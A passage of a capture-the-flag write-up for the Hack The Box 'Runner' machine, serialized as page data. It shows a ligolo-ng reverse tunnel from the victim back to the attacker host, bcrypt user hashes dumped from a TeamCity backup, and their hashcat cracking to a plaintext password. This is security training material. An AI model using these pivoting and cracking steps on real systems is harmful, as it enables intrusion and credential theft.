 just raised the bar for easy, resilient and secure K8s cluster deployment.\n\n   https:\u002F\u002Fubuntu.com\u002Fengage\u002Fsecure-kubernetes-at-the-edge\n\nExpanded Security Maintenance for Applications is not enabled.\n\n0 updates can be applied immediately.\n\nEnable ESM Apps to receive additional future security updates.\nSee https:\u002F\u002Fubuntu.com\u002Fesm or run: sudo pro status\n\nThe list of available updates is more than a week old.\nTo check for new updates run: sudo apt update\njohn@runner:~$ cat user.txt \n85f67054f6c1bce05e1205e52f1173ac\n",[25,2489,2490,2494,2500,2526,2530,2541,2551,2561,2565,2599,2603,2613,2631,2642,2652,2660,2674,2690,2704,2718,2732,2736,2773,2808,2812,2817,2821,2844,2848,2867,2871,2899,2922,2926,2957,2982,2995],{"__ignoreMap":23},[28,2491,2492],{"class":30,"line":31},[28,2493,2336],{"class":34},[28,2495,2496,2498],{"class":30,"line":38},[28,2497,41],{"class":34},[28,2499,2343],{"class":169},[28,2501,2502,2505,2507,2509,2512,2515,2518,2521,2524],{"class":30,"line":48},[28,2503,2504],{"class":34},"Welcome",[28,2506,1787],{"class":54},[28,2508,939],{"class":54},[28,2510,2511],{"class":201}," 22.04.4",[28,2513,2514],{"class":54}," LTS",[28,2516,2517],{"class":169}," (GNU\u002FLinux ",[28,2519,2520],{"class":54},"5.15.0-102-generic",[28,2522,2523],{"class":54}," x86_64",[28,2525,428],{"class":169},[28,2527,2528],{"class":30,"line":58},[28,2529,71],{"emptyLinePlaceholder":70},[28,2531,2532,2535,2538],{"class":30,"line":67},[28,2533,2534],{"class":34}," *",[28,2536,2537],{"class":54}," Documentation:",[28,2539,2540],{"class":54},"  https:\u002F\u002Fhelp.ubuntu.com\n",[28,2542,2543,2545,2548],{"class":30,"line":74},[28,2544,2534],{"class":34},[28,2546,2547],{"class":54}," Management:",[28,2549,2550],{"class":54},"     https:\u002F\u002Flandscape.canonical.com\n",[28,2552,2553,2555,2558],{"class":30,"line":83},[28,2554,2534],{"class":34},[28,2556,2557],{"class":54}," Support:",[28,2559,2560],{"class":54},"        https:\u002F\u002Fubuntu.com\u002Fpro\n",[28,2562,2563],{"class":30,"line":88},[28,2564,71],{"emptyLinePlaceholder":70},[28,2566,2567,2570,2573,2576,2578,2581,2584,2587,2590,2593,2596],{"class":30,"line":94},[28,2568,2569],{"class":34},"  System",[28,2571,2572],{"class":54}," information",[28,2574,2575],{"class":54}," as",[28,2577,2354],{"class":54},[28,2579,2580],{"class":54}," Fri",[28,2582,2583],{"class":54}," Jul",[28,2585,2586],{"class":201}," 19",[28,2588,2589],{"class":54}," 09:21:47",[28,2591,2592],{"class":54}," PM",[28,2594,2595],{"class":54}," UTC",[28,2597,2598],{"class":201}," 2024\n",[28,2600,2601],{"class":30,"line":113},[28,2602,71],{"emptyLinePlaceholder":70},[28,2604,2605,2607,2610],{"class":30,"line":122},[28,2606,2569],{"class":34},[28,2608,2609],{"class":54}," load:",[28,2611,2612],{"class":201},"                      0.123046875\n",[28,2614,2615,2618,2620,2623,2626,2628],{"class":30,"line":131},[28,2616,2617],{"class":34},"  Usage",[28,2619,2354],{"class":54},[28,2621,2622],{"class":54}," \u002F:",[28,2624,2625],{"class":54},"                       84.0%",[28,2627,2354],{"class":54},[28,2629,2630],{"class":54}," 9.74GB\n",[28,2632,2633,2636,2639],{"class":30,"line":139},[28,2634,2635],{"class":34},"  Memory",[28,2637,2638],{"class":54}," usage:",[28,2640,2641],{"class":54},"                     42%\n",[28,2643,2644,2647,2649],{"class":30,"line":346},[28,2645,2646],{"class":34},"  Swap",[28,2648,2638],{"class":54},[28,2650,2651],{"class":54},"                       0%\n",[28,2653,2654,2657],{"class":30,"line":361},[28,2655,2656],{"class":34},"  Processes:",[28,2658,2659],{"class":201},"                        223\n",[28,2661,2662,2665,2668,2671],{"class":30,"line":376},[28,2663,2664],{"class":34},"  Users",[28,2666,2667],{"class":54}," logged",[28,2669,2670],{"class":54}," in:",[28,2672,2673],{"class":201},"                  0\n",[28,2675,2676,2679,2682,2684,2687],{"class":30,"line":400},[28,2677,2678],{"class":34},"  IPv4",[28,2680,2681],{"class":54}," address",[28,2683,208],{"class":54},[28,2685,2686],{"class":54}," br-21746deff6ac:",[28,2688,2689],{"class":201}," 172.18.0.1\n",[28,2691,2692,2694,2696,2698,2701],{"class":30,"line":431},[28,2693,2678],{"class":34},[28,2695,2681],{"class":54},[28,2697,208],{"class":54},[28,2699,2700],{"class":54}," docker0:",[28,2702,2703],{"class":201},"         172.17.0.1\n",[28,2705,2706,2708,2710,2712,2715],{"class":30,"line":448},[28,2707,2678],{"class":34},[28,2709,2681],{"class":54},[28,2711,208],{"class":54},[28,2713,2714],{"class":54}," eth0:",[28,2716,2717],{"class":201},"            10.129.212.181\n",[28,2719,2720,2723,2725,2727,2729],{"class":30,"line":466},[28,2721,2722],{"class":34},"  IPv6",[28,2724,2681],{"class":54},[28,2726,208],{"class":54},[28,2728,2714],{"class":54},[28,2730,2731],{"class":54},"            dead:beef::250:56ff:fe94:1703\n",[28,2733,2734],{"class":30,"line":487},[28,2735,71],{"emptyLinePlaceholder":70},[28,2737,2738,2740,2743,2746,2749,2752,2755,2758,2761,2764,2767,2770],{"class":30,"line":503},[28,2739,2534],{"class":34},[28,2741,2742],{"class":54}," Strictly",[28,2744,2745],{"class":54}," confined",[28,2747,2748],{"class":54}," Kubernetes",[28,2750,2751],{"class":54}," makes",[28,2753,2754],{"class":54}," edge",[28,2756,2757],{"class":54}," and",[28,2759,2760],{"class":54}," IoT",[28,2762,2763],{"class":54}," secure.",[28,2765,2766],{"class":54}," Learn",[28,2768,2769],{"class":54}," how",[28,2771,2772],{"class":54}," MicroK8s\n",[28,2774,2775,2778,2781,2783,2786,2788,2791,2794,2796,2799,2802,2805],{"class":30,"line":519},[28,2776,2777],{"class":34},"   just",[28,2779,2780],{"class":54}," raised",[28,2782,609],{"class":54},[28,2784,2785],{"class":54}," bar",[28,2787,208],{"class":54},[28,2789,2790],{"class":54}," easy,",[28,2792,2793],{"class":54}," resilient",[28,2795,2757],{"class":54},[28,2797,2798],{"class":54}," secure",[28,2800,2801],{"class":54}," K8s",[28,2803,2804],{"class":54}," cluster",[28,2806,2807],{"class":54}," deployment.\n",[28,2809,2810],{"class":30,"line":548},[28,2811,71],{"emptyLinePlaceholder":70},[28,2813,2814],{"class":30,"line":563},[28,2815,2816],{"class":34},"   https:\u002F\u002Fubuntu.com\u002Fengage\u002Fsecure-kubernetes-at-the-edge\n",[28,2818,2819],{"class":30,"line":580},[28,2820,71],{"emptyLinePlaceholder":70},[28,2822,2823,2826,2829,2832,2834,2837,2839,2841],{"class":30,"line":625},[28,2824,2825],{"class":34},"Expanded",[28,2827,2828],{"class":54}," Security",[28,2830,2831],{"class":54}," Maintenance",[28,2833,208],{"class":54},[28,2835,2836],{"class":54}," Applications",[28,2838,824],{"class":54},[28,2840,1807],{"class":54},[28,2842,2843],{"class":54}," enabled.\n",[28,2845,2846],{"class":30,"line":658},[28,2847,71],{"emptyLinePlaceholder":70},[28,2849,2850,2853,2856,2858,2861,2864],{"class":30,"line":671},[28,2851,2852],{"class":34},"0",[28,2854,2855],{"class":54}," updates",[28,2857,2366],{"class":54},[28,2859,2860],{"class":54}," be",[28,2862,2863],{"class":54}," applied",[28,2865,2866],{"class":54}," immediately.\n",[28,2868,2869],{"class":30,"line":688},[28,2870,71],{"emptyLinePlaceholder":70},[28,2872,2873,2876,2879,2882,2884,2887,2890,2893,2896],{"class":30,"line":699},[28,2874,2875],{"class":34},"Enable",[28,2877,2878],{"class":54}," ESM",[28,2880,2881],{"class":54}," Apps",[28,2883,1787],{"class":54},[28,2885,2886],{"class":54}," receive",[28,2888,2889],{"class":54}," additional",[28,2891,2892],{"class":54}," future",[28,2894,2895],{"class":54}," security",[28,2897,2898],{"class":54}," updates.\n",[28,2900,2901,2904,2907,2910,2913,2916,2919],{"class":30,"line":715},[28,2902,2903],{"class":34},"See",[28,2905,2906],{"class":54}," https:\u002F\u002Fubuntu.com\u002Fesm",[28,2908,2909],{"class":54}," or",[28,2911,2912],{"class":54}," run:",[28,2914,2915],{"class":54}," sudo",[28,2917,2918],{"class":54}," pro",[28,2920,2921],{"class":54}," status\n",[28,2923,2924],{"class":30,"line":732},[28,2925,71],{"emptyLinePlaceholder":70},[28,2927,2928,2930,2933,2935,2938,2940,2942,2945,2948,2951,2954],{"class":30,"line":743},[28,2929,2348],{"class":34},[28,2931,2932],{"class":54}," list",[28,2934,2354],{"class":54},[28,2936,2937],{"class":54}," available",[28,2939,2855],{"class":54},[28,2941,824],{"class":54},[28,2943,2944],{"class":54}," more",[28,2946,2947],{"class":54}," than",[28,2949,2950],{"class":54}," a",[28,2952,2953],{"class":54}," week",[28,2955,2956],{"class":54}," old.\n",[28,2958,2959,2962,2965,2967,2970,2972,2974,2976,2979],{"class":30,"line":758},[28,2960,2961],{"class":34},"To",[28,2963,2964],{"class":54}," check",[28,2966,208],{"class":54},[28,2968,2969],{"class":54}," new",[28,2971,2855],{"class":54},[28,2973,2912],{"class":54},[28,2975,2915],{"class":54},[28,2977,2978],{"class":54}," apt",[28,2980,2981],{"class":54}," update\n",[28,2983,2984,2987,2990,2993],{"class":30,"line":775},[28,2985,2986],{"class":34},"john@runner:~$",[28,2988,2989],{"class":54}," cat",[28,2991,2992],{"class":54}," user.txt",[28,2994,972],{"class":169},[28,2996,2997],{"class":30,"line":786},[28,2998,2999],{"class":34},"85f67054f6c1bce05e1205e52f1173ac\n",[11,3001,3002,3003,3007],{},"When running netstat on the victim machine, we see port 9000, which could indicate that a Portainer instance is running there. However, we cannot access it via the address “",[1533,3004,3005],{"href":3005,"rel":3006},"http:\u002F\u002Frunner.htb:9000\u002F",[1537],". It could be that Portainer is only accessible via the localhost address.",[11,3009,3010],{},"We can now try to establish a connection with the help of ligolo proxy.",[11,3012,3013],{},"Attacker machine:",[15,3015,3016],{},[18,3017,3019],{"className":20,"code":3018,"language":22,"meta":23,"style":23},"┌─[root@htb-aywmyyazin]─[\u002Fhome\u002Fnobrac]\n└──╼ #.\u002Fproxy -selfcert\nWARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC! \nWARN[0000] Using self-signed certificates               \nERRO[0000] Certificate cache error: acme\u002Fautocert: certificate cache miss, returning a new certificate \nWARN[0000] TLS Certificate fingerprint for ligolo is: 1795F6A34013B8A0F81EAC21FC34D8708444BE0907B54FB5F8B1290091F35B2D \nINFO[0000] Listening on 0.0.0.0:11601                   \n    __    _             __                       \n   \u002F \u002F   (_)___ _____  \u002F \u002F___        ____  ____ _\n  \u002F \u002F   \u002F \u002F __ `\u002F __ \\\u002F \u002F __ \\______\u002F __ \\\u002F __ `\u002F\n \u002F \u002F___\u002F \u002F \u002F_\u002F \u002F \u002F_\u002F \u002F \u002F \u002F_\u002F \u002F_____\u002F \u002F \u002F \u002F \u002F_\u002F \u002F \n\u002F_____\u002F_\u002F\\__, \u002F\\____\u002F_\u002F\\____\u002F     \u002F_\u002F \u002F_\u002F\\__, \u002F  \n        \u002F____\u002F                          \u002F____\u002F   \n\n  Made in France ♥            by @Nicocha30!\n  Version: 0.6.2\n\nligolo-ng » INFO[0015] Agent joined.                                 name=john@runner remote=\"10.129.212.181:51500\"\nligolo-ng » session\n? Specify a session : 1 - #1 - john@runner - 10.129.212.181:51500\n[Agent : john@runner] » start\n[Agent : john@runner] » INFO[0026] Starting tunnel to john@runner\n",[25,3020,3021,3026,3033,3077,3092,3128,3153,3169,3183,3194,3240,3277,3310,3321,3325,3344,3352,3356,3387,3396,3412,3429],{"__ignoreMap":23},[28,3022,3023],{"class":30,"line":31},[28,3024,3025],{"class":34},"┌─[root@htb-aywmyyazin]─[\u002Fhome\u002Fnobrac]\n",[28,3027,3028,3030],{"class":30,"line":38},[28,3029,41],{"class":34},[28,3031,3032],{"class":44}," #.\u002Fproxy -selfcert\n",[28,3034,3035,3038,3041,3044,3047,3050,3052,3055,3057,3059,3062,3064,3067,3070,3072,3075],{"class":30,"line":48},[28,3036,3037],{"class":34},"WARN[0000]",[28,3039,3040],{"class":54}," Using",[28,3042,3043],{"class":54}," default",[28,3045,3046],{"class":54}," selfcert",[28,3048,3049],{"class":54}," domain",[28,3051,616],{"class":615},[28,3053,3054],{"class":54},"ligolo",[28,3056,1151],{"class":615},[28,3058,1910],{"class":54},[28,3060,3061],{"class":54}," beware",[28,3063,2354],{"class":54},[28,3065,3066],{"class":54}," CTI,",[28,3068,3069],{"class":54}," SOC",[28,3071,2757],{"class":54},[28,3073,3074],{"class":54}," IoC!",[28,3076,972],{"class":169},[28,3078,3079,3081,3083,3086,3089],{"class":30,"line":58},[28,3080,3037],{"class":34},[28,3082,3040],{"class":54},[28,3084,3085],{"class":54}," self-signed",[28,3087,3088],{"class":54}," certificates",[28,3090,3091],{"class":169},"               \n",[28,3093,3094,3097,3100,3103,3106,3109,3112,3114,3117,3120,3122,3124,3126],{"class":30,"line":67},[28,3095,3096],{"class":34},"ERRO[0000]",[28,3098,3099],{"class":54}," Certificate",[28,3101,3102],{"class":54}," cache",[28,3104,3105],{"class":54}," error:",[28,3107,3108],{"class":54}," acme\u002Fautocert:",[28,3110,3111],{"class":54}," certificate",[28,3113,3102],{"class":54},[28,3115,3116],{"class":54}," miss,",[28,3118,3119],{"class":54}," returning",[28,3121,2950],{"class":54},[28,3123,2969],{"class":54},[28,3125,3111],{"class":54},[28,3127,972],{"class":169},[28,3129,3130,3132,3135,3137,3140,3142,3145,3148,3151],{"class":30,"line":74},[28,3131,3037],{"class":34},[28,3133,3134],{"class":54}," TLS",[28,3136,3099],{"class":54},[28,3138,3139],{"class":54}," fingerprint",[28,3141,208],{"class":54},[28,3143,3144],{"class":54}," ligolo",[28,3146,3147],{"class":54}," is:",[28,3149,3150],{"class":54}," 1795F6A34013B8A0F81EAC21FC34D8708444BE0907B54FB5F8B1290091F35B2D",[28,3152,972],{"class":169},[28,3154,3155,3158,3161,3163,3166],{"class":30,"line":83},[28,3156,3157],{"class":34},"INFO[0000]",[28,3159,3160],{"class":54}," Listening",[28,3162,481],{"class":54},[28,3164,3165],{"class":54}," 0.0.0.0:11601",[28,3167,3168],{"class":169},"                   \n",[28,3170,3171,3174,3177,3180],{"class":30,"line":88},[28,3172,3173],{"class":34},"    __",[28,3175,3176],{"class":54},"    _",[28,3178,3179],{"class":54},"             __",[28,3181,3182],{"class":169},"                       \n",[28,3184,3185,3188,3191],{"class":30,"line":94},[28,3186,3187],{"class":34},"   \u002F",[28,3189,3190],{"class":54}," \u002F",[28,3192,3193],{"class":169},"   (_)___ _____  \u002F \u002F___        ____  ____ _\n",[28,3195,3196,3199,3201,3203,3205,3208,3211,3214,3216,3219,3221,3223,3226,3229,3231,3233,3235,3237],{"class":30,"line":113},[28,3197,3198],{"class":34},"  \u002F",[28,3200,3190],{"class":54},[28,3202,3187],{"class":54},[28,3204,3190],{"class":54},[28,3206,3207],{"class":54}," __",[28,3209,3210],{"class":615}," `",[28,3212,3213],{"class":34},"\u002F",[28,3215,3207],{"class":54},[28,3217,3218],{"class":201}," \\\u002F",[28,3220,3190],{"class":54},[28,3222,3207],{"class":54},[28,3224,3225],{"class":201}," \\_",[28,3227,3228],{"class":54},"_____\u002F",[28,3230,3207],{"class":54},[28,3232,3218],{"class":201},[28,3234,3207],{"class":54},[28,3236,3210],{"class":615},[28,3238,3239],{"class":34},"\u002F\n",[28,3241,3242,3244,3247,3249,3252,3254,3256,3258,3260,3262,3265,3267,3269,3271,3273,3275],{"class":30,"line":122},[28,3243,3190],{"class":34},[28,3245,3246],{"class":54}," \u002F___\u002F",[28,3248,3190],{"class":54},[28,3250,3251],{"class":54}," \u002F_\u002F",[28,3253,3190],{"class":54},[28,3255,3251],{"class":54},[28,3257,3190],{"class":54},[28,3259,3190],{"class":54},[28,3261,3251],{"class":54},[28,3263,3264],{"class":54}," \u002F_____\u002F",[28,3266,3190],{"class":54},[28,3268,3190],{"class":54},[28,3270,3190],{"class":54},[28,3272,3251],{"class":54},[28,3274,3190],{"class":54},[28,3276,972],{"class":169},[28,3278,3279,3282,3284,3287,3290,3292,3295,3298,3300,3302,3305,3307],{"class":30,"line":131},[28,3280,3281],{"class":34},"\u002F_____\u002F_\u002F\\__,",[28,3283,3190],{"class":54},[28,3285,3286],{"class":201},"\\_",[28,3288,3289],{"class":54},"___\u002F_\u002F",[28,3291,3286],{"class":201},[28,3293,3294],{"class":54},"___\u002F",[28,3296,3297],{"class":54},"     \u002F_\u002F",[28,3299,3251],{"class":54},[28,3301,3286],{"class":201},[28,3303,3304],{"class":54},"_,",[28,3306,3190],{"class":54},[28,3308,3309],{"class":169},"  \n",[28,3311,3312,3315,3318],{"class":30,"line":139},[28,3313,3314],{"class":34},"        \u002F____\u002F",[28,3316,3317],{"class":54},"                          \u002F____\u002F",[28,3319,3320],{"class":169},"   \n",[28,3322,3323],{"class":30,"line":346},[28,3324,71],{"emptyLinePlaceholder":70},[28,3326,3327,3330,3332,3335,3338,3341],{"class":30,"line":361},[28,3328,3329],{"class":34},"  Made",[28,3331,1869],{"class":54},[28,3333,3334],{"class":54}," France",[28,3336,3337],{"class":54}," ♥",[28,3339,3340],{"class":54},"            by",[28,3342,3343],{"class":54}," @Nicocha30!\n",[28,3345,3346,3349],{"class":30,"line":376},[28,3347,3348],{"class":34},"  Version:",[28,3350,3351],{"class":201}," 0.6.2\n",[28,3353,3354],{"class":30,"line":400},[28,3355,71],{"emptyLinePlaceholder":70},[28,3357,3358,3361,3364,3367,3370,3373,3376,3379,3381,3384],{"class":30,"line":431},[28,3359,3360],{"class":34},"ligolo-ng",[28,3362,3363],{"class":54}," »",[28,3365,3366],{"class":54}," INFO[0015]",[28,3368,3369],{"class":54}," Agent",[28,3371,3372],{"class":54}," joined.",[28,3374,3375],{"class":54},"                                 name=john@runner",[28,3377,3378],{"class":54}," remote=",[28,3380,1269],{"class":615},[28,3382,3383],{"class":54},"10.129.212.181:51500",[28,3385,3386],{"class":615},"\"\n",[28,3388,3389,3391,3393],{"class":30,"line":448},[28,3390,3360],{"class":34},[28,3392,3363],{"class":54},[28,3394,3395],{"class":54}," session\n",[28,3397,3398,3401,3404,3406,3409],{"class":30,"line":466},[28,3399,3400],{"class":965},"?",[28,3402,3403],{"class":169}," Specify a session ",[28,3405,98],{"class":97},[28,3407,3408],{"class":169}," 1 - ",[28,3410,3411],{"class":44},"#1 - john@runner - 10.129.212.181:51500\n",[28,3413,3414,3416,3419,3421,3424,3426],{"class":30,"line":487},[28,3415,388],{"class":97},[28,3417,3418],{"class":169},"Agent ",[28,3420,98],{"class":97},[28,3422,3423],{"class":169}," john@runner",[28,3425,2152],{"class":97},[28,3427,3428],{"class":169}," » start\n",[28,3430,3431,3433,3435,3437,3439,3441,3444,3446,3449,3451],{"class":30,"line":503},[28,3432,388],{"class":97},[28,3434,3418],{"class":169},[28,3436,98],{"class":97},[28,3438,3423],{"class":169},[28,3440,2152],{"class":97},[28,3442,3443],{"class":169}," » INFO",[28,3445,388],{"class":97},[28,3447,3448],{"class":169},"0026",[28,3450,2152],{"class":97},[28,3452,3453],{"class":169}," Starting tunnel to john@runner\n",[11,3455,3456],{},"Victim machine:",[15,3458,3459],{},[18,3460,3462],{"className":20,"code":3461,"language":22,"meta":23,"style":23},"john@runner:~$ .\u002Fagent -connect 10.10.14.76:11601 -ignore-cert\nWARN[0000] warning, certificate validation disabled     \nINFO[0000] Connection established                        addr=\"10.10.14.76:11601\"\n",[25,3463,3464,3480,3498],{"__ignoreMap":23},[28,3465,3466,3468,3471,3474,3477],{"class":30,"line":31},[28,3467,2986],{"class":34},[28,3469,3470],{"class":54}," .\u002Fagent",[28,3472,3473],{"class":201}," -connect",[28,3475,3476],{"class":54}," 10.10.14.76:11601",[28,3478,3479],{"class":201}," -ignore-cert\n",[28,3481,3482,3484,3487,3489,3492,3495],{"class":30,"line":38},[28,3483,3037],{"class":34},[28,3485,3486],{"class":54}," warning,",[28,3488,3111],{"class":54},[28,3490,3491],{"class":54}," validation",[28,3493,3494],{"class":54}," disabled",[28,3496,3497],{"class":169},"     \n",[28,3499,3500,3502,3505,3508,3511,3513,3516],{"class":30,"line":48},[28,3501,3157],{"class":34},[28,3503,3504],{"class":54}," Connection",[28,3506,3507],{"class":54}," established",[28,3509,3510],{"class":54},"                        addr=",[28,3512,1269],{"class":615},[28,3514,3515],{"class":54},"10.10.14.76:11601",[28,3517,3386],{"class":615},[11,3519,3520],{},"Now I can reach Portainer with the additional IP.",[11,3522,3523],{},[1520,3524],{"alt":23,"src":3525},"\u002Fimages\u002Fposts\u002Fhack-the-box-runner\u002Fattachments\u002Fimage-20240720143213881.webp",[11,3527,3528],{},"I then found hashes from various users in the backup from Teamcity.",[15,3530,3531],{},[18,3532,3534],{"className":20,"code":3533,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-aywmyyazin]─[~\u002FDownloads\u002FTeamCity_Backup_20240719_210337\u002Fdatabase_dump]\n└──╼ [★]$ cat users\nID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM\n1, admin, $2a$07$neV5T\u002FBlEDiMQUs.gM1p4uYl8xl8kvNUo4\u002F8Aja2sAWHAQLWqufye, John, john@runner.htb, 1721422764530, BCRYPT\n2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K\u002FYPHbD48\u002FJQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT\n11, admin.ziqj, $2a$07$zRI3KkEUCIuK9Pnk3m9aDOIqxogTcY.8aSEI4gBUFmTYbJnCkmYVi, , admin.zIQJ@lol.omg, 1721422893233, BCRYPT\n",[25,3535,3536,3541,3548,3571,3598,3623],{"__ignoreMap":23},[28,3537,3538],{"class":30,"line":31},[28,3539,3540],{"class":34},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-aywmyyazin]─[~\u002FDownloads\u002FTeamCity_Backup_20240719_210337\u002Fdatabase_dump]\n",[28,3542,3543,3545],{"class":30,"line":38},[28,3544,41],{"class":34},[28,3546,3547],{"class":169}," [★]$ cat users\n",[28,3549,3550,3553,3556,3559,3562,3565,3568],{"class":30,"line":48},[28,3551,3552],{"class":34},"ID,",[28,3554,3555],{"class":54}," USERNAME,",[28,3557,3558],{"class":54}," PASSWORD,",[28,3560,3561],{"class":54}," NAME,",[28,3563,3564],{"class":54}," EMAIL,",[28,3566,3567],{"class":54}," LAST_LOGIN_TIMESTAMP,",[28,3569,3570],{"class":54}," ALGORITHM\n",[28,3572,3573,3576,3579,3583,3586,3589,3592,3595],{"class":30,"line":58},[28,3574,3575],{"class":34},"1,",[28,3577,3578],{"class":54}," admin,",[28,3580,3582],{"class":3581},"sMWUE"," $2a$07$neV5T",[28,3584,3585],{"class":54},"\u002FBlEDiMQUs.gM1p4uYl8xl8kvNUo4\u002F8Aja2sAWHAQLWqufye,",[28,3587,3588],{"class":54}," John,",[28,3590,3591],{"class":54}," john@runner.htb,",[28,3593,3594],{"class":54}," 1721422764530,",[28,3596,3597],{"class":54}," BCRYPT\n",[28,3599,3600,3603,3606,3609,3612,3615,3618,3621],{"class":30,"line":67},[28,3601,3602],{"class":34},"2,",[28,3604,3605],{"class":54}," matthew,",[28,3607,3608],{"class":3581}," $2a$07$q",[28,3610,3611],{"class":54},".m8WQP8niXODv55lJVovOmxGtg6K\u002FYPHbD48\u002FJQsdGLulmeVo.Em,",[28,3613,3614],{"class":54}," Matthew,",[28,3616,3617],{"class":54}," matthew@runner.htb,",[28,3619,3620],{"class":54}," 1709150421438,",[28,3622,3597],{"class":54},[28,3624,3625,3628,3631,3634,3637,3640,3643,3646],{"class":30,"line":74},[28,3626,3627],{"class":34},"11,",[28,3629,3630],{"class":54}," admin.ziqj,",[28,3632,3633],{"class":3581}," $2a$07$zRI3KkEUCIuK9Pnk3m9aDOIqxogTcY",[28,3635,3636],{"class":54},".8aSEI4gBUFmTYbJnCkmYVi,",[28,3638,3639],{"class":54}," ,",[28,3641,3642],{"class":54}," admin.zIQJ@lol.omg,",[28,3644,3645],{"class":54}," 1721422893233,",[28,3647,3597],{"class":54},[11,3649,3650],{},"Now I have tried to crack the hashes, but only the hash of the user “Matthew” was crackable.",[15,3652,3653],{},[18,3654,3656],{"className":20,"code":3655,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-aywmyyazin]─[~]\n└──╼ [★]$ hashcat -a 0 -m 3200 '$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K\u002FYPHbD48\u002FJQsdGLulmeVo.Em' \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\nhashcat (v6.2.6) starting\n\nOpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]\n==================================================================================================================================================\n* Device #1: pthread-haswell-AMD EPYC 7543 32-Core Processor, skipped\n\nOpenCL API (OpenCL 2.1 LINUX) - Platform #2 [Intel(R) Corporation]\n==================================================================\n* Device #2: AMD EPYC 7543 32-Core Processor, 3919\u002F7902 MB (987 MB allocatable), 4MCU\n\nMinimum password length supported by kernel: 0\nMaximum password length supported by kernel: 72\n\nHashes: 1 digests; 1 unique digests, 1 unique salts\nBitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5\u002F13 rotates\nRules: 1\n\nOptimizers applied:\n* Zero-Byte\n* Single-Hash\n* Single-Salt\n\nWatchdog: Hardware monitoring interface not found on your system.\nWatchdog: Temperature abort trigger disabled.\n\nHost memory required for this attack: 0 MB\n\nDictionary cache hit:\n* Filename..: \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n* Passwords.: 14344385\n* Bytes.....: 139921507\n* Keyspace..: 14344385\n\n$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K\u002FYPHbD48\u002FJQsdGLulmeVo.Em:piper123\n                                                          \nSession..........: hashcat\nStatus...........: Cracked\nHash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))\nHash.Target......: $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K\u002FYPHbD48\u002FJQsdGL...eVo.Em\nTime.Started.....: Fri Jul 19 17:36:08 2024 (1 min, 31 secs)\nTime.Estimated...: Fri Jul 19 17:37:39 2024 (0 secs)\nKernel.Feature...: Pure Kernel\nGuess.Base.......: File (\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt)\nGuess.Queue......: 1\u002F1 (100.00%)\nSpeed.#2.........:      571 H\u002Fs (3.22ms) @ Accel:4 Loops:16 Thr:1 Vec:1\nRecovered........: 1\u002F1 (100.00%) Digests (total), 1\u002F1 (100.00%) Digests (new)\nProgress.........: 52032\u002F14344385 (0.36%)\nRejected.........: 0\u002F52032 (0.00%)\nRestore.Point....: 52016\u002F14344385 (0.36%)\nRestore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:112-128\nCandidate.Engine.: Device Generator\nCandidates.#2....: pokadots -> photosynthesis\n\nStarted: Fri Jul 19 17:36:01 2024\nStopped: Fri Jul 19 17:37:40 2024\n",[25,3657,3658,3663,3680,3688,3692,3745,3750,3760,3764,3783,3788,3797,3801,3824,3842,3846,3873,3908,3916,3920,3928,3935,3942,3949,3953,3980,3996,4000,4023,4027,4037,4044,4051,4058,4065,4069,4077,4082,4090,4098,4125,4135,4165,4189,4200,4211,4222,4236,4262,4273,4284,4294,4308,4319,4334,4338,4354],{"__ignoreMap":23},[28,3659,3660],{"class":30,"line":31},[28,3661,3662],{"class":34},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-aywmyyazin]─[~]\n",[28,3664,3665,3667,3670,3672,3675,3677],{"class":30,"line":38},[28,3666,41],{"class":34},[28,3668,3669],{"class":169}," [★]$ hashcat -a 0 -m 3200 ",[28,3671,1151],{"class":615},[28,3673,3674],{"class":54},"$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K\u002FYPHbD48\u002FJQsdGLulmeVo.Em",[28,3676,1151],{"class":615},[28,3678,3679],{"class":169}," \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n",[28,3681,3682,3685],{"class":30,"line":48},[28,3683,3684],{"class":34},"hashcat",[28,3686,3687],{"class":169}," (v6.2.6) starting\n",[28,3689,3690],{"class":30,"line":58},[28,3691,71],{"emptyLinePlaceholder":70},[28,3693,3694,3697,3700,3703,3706,3709,3712,3715,3718,3721,3724,3727,3730,3733,3736,3739,3742],{"class":30,"line":67},[28,3695,3696],{"class":34},"OpenCL",[28,3698,3699],{"class":54}," API",[28,3701,3702],{"class":169}," (OpenCL ",[28,3704,3705],{"class":201},"3.0",[28,3707,3708],{"class":54}," PoCL",[28,3710,3711],{"class":54}," 3.1+debian",[28,3713,3714],{"class":54},"  Linux,",[28,3716,3717],{"class":54}," None+Asserts,",[28,3719,3720],{"class":54}," RELOC,",[28,3722,3723],{"class":54}," SPIR,",[28,3725,3726],{"class":54}," LLVM",[28,3728,3729],{"class":54}," 15.0.6,",[28,3731,3732],{"class":54}," SLEEF,",[28,3734,3735],{"class":54}," DISTRO,",[28,3737,3738],{"class":54}," POCL_DEBUG",[28,3740,3741],{"class":169},") - Platform ",[28,3743,3744],{"class":44},"#1 [The pocl project]\n",[28,3746,3747],{"class":30,"line":74},[28,3748,3749],{"class":54},"==================================================================================================================================================\n",[28,3751,3752,3754,3757],{"class":30,"line":83},[28,3753,2206],{"class":965},[28,3755,3756],{"class":169}," Device ",[28,3758,3759],{"class":44},"#1: pthread-haswell-AMD EPYC 7543 32-Core Processor, 